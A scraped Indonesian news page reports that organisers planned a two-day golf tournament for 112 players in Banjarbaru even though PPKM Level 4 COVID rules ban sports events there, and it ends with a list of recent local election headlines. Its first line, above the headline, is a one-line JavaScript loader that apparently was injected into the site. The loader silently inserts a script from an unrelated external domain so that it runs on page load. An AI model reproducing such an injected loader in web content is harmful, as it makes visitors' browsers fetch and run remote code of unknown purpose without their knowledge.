(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

DUH. Ada Rencana Gelar Turnamen Golf di Banjarbaru saat PPKM Level 4


KANALKALIMANTAN.COM, BANJARBARU – Tren kenaikan kasus Covid-19 di Kota Banjarbaru membuat penerapan PPKM level 4 diperpanjang hingga 23 Agustus mendatang. Aturan yang ditegakkan dalam fase pembatasan mobilitas masyarakat di kota berjuluk Idaman ini sudah seharusnya menjadi atensi bagi seluruh pihak.

Informasi turnamen golf yang akan digelar di lapangan golf Swargaloka, Landasan Ulin, Banjarbaru. Foto: ist

Mirisnya masih saja ada yang tak faham ihwal kondisi tersebut. Sepetinya kabar terbaru tentang adanya pihak yang berencana menyelenggarakan kegiatan olahraga golf di lapangan Padang Golf Swargaloka, Landasan Ulin, Kota Banjarbaru.

 

 

Baca juga: Jalan di Desa Humbang Raya Akhirnya Mulus, Libatkan Warga Kerjakan Rabat Beton

Menurut informasi yang diterima Kanalkalimantan.com, rencana kegiatan turnamen golf itu dilaksanakan dalam rangka memperingati HUT ke-71 Kabupaten Kotabaru, sekaligus memeriahkan HUT ke-76 Kemerdekaan Republik Indonesia.

Adapun pelaksanaan kegiatan golf itu dijadwalkan berlangsung selama dua hari yakni dari tanggal 21-22 Agustus mendatang.

Dalam isi surat permohonan pihak panitia penyelenggara acara yang diajukan kepada pihak pengelola Padang Golf Swargaloka, dilaporkan bahwa sedikitnya ada 112 peserta atau pegolf yang akan berpartisipasi mengikuti kegiatan ini.

Meskipun pihak panitia menekankan akan menyesuaikan dengan protokol Covid-19 saat kegiatan nanti, tentunya rencana pelaksanaan kegiatan olahraga ini sangat bertolak belakang dengan aturan PPKM level 4 yang sudang berlaku di Kota Banjarbaru.

Informasi turnamen golf yang akan digelar di lapangan golf Swargaloka, Landasan Ulin, Banjarbaru. Foto: ist

Ya, sebagaimana diketahui dalam pelaksanaan PPKM Level 4, seluruh kegiatan olahraga, seni/budaya, maupun sosial kemasyarakatan harus ditiadakan sementara waktu.

Aturan ini telah ditetapkan oleh Pemerintah Kota (Pemko) Banjarbaru bersama seluruh unsur Forkopimda, baik itu Polri, TNI, maupun DPRD. (kanalkalimantan.com/al)

Reporter: al
Editor : kk


Desy Arfianty

Recent Posts

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

3 jam ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

4 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

4 jam ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

8 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

9 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

10 jam ago

This website uses cookies.